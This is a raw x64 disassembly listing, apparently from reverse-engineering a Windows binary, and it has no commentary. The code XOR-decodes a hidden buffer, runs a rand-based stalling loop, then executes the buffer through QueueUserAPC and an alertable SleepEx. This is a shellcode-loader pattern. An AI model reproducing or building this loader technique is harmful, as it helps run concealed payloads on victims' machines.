movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x878]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x880]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x878], 0x74
jne 0x140002a02
mov dword [rbp + 0x878], 0
jmp 0x140002a09
add dword [rbp + 0x878], 1
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 0x506
jle 0x1400029af
mov ecx, 0x4b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
mov dword [rbp + 0x864], 0
jmp 0x140002a99
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x12c
jle 0x140002a4d
mov dword [rbp + 0x864], 0
jmp 0x140002ada
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x860], eax
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x12c
jle 0x140002ab1
mov dword [rbp + 0x864], 0
jmp 0x140002b62
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x85c]
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x6bc]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006640]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004150
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x85c], eax
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x12c
jle 0x140002af2
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x85c]
movss xmm1, dword [0x140006648]
divss xmm0, xmm1
movss dword [rbp + 0x6dc], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x6dc]
movq rax, xmm4
movq xmm0, rax
call fcn.140003d30
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6d8], xmm0
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6d0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6c0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8c0]
add rsp, 0x958
pop rbx
pop rsi
pop rdi
pop rbp
ret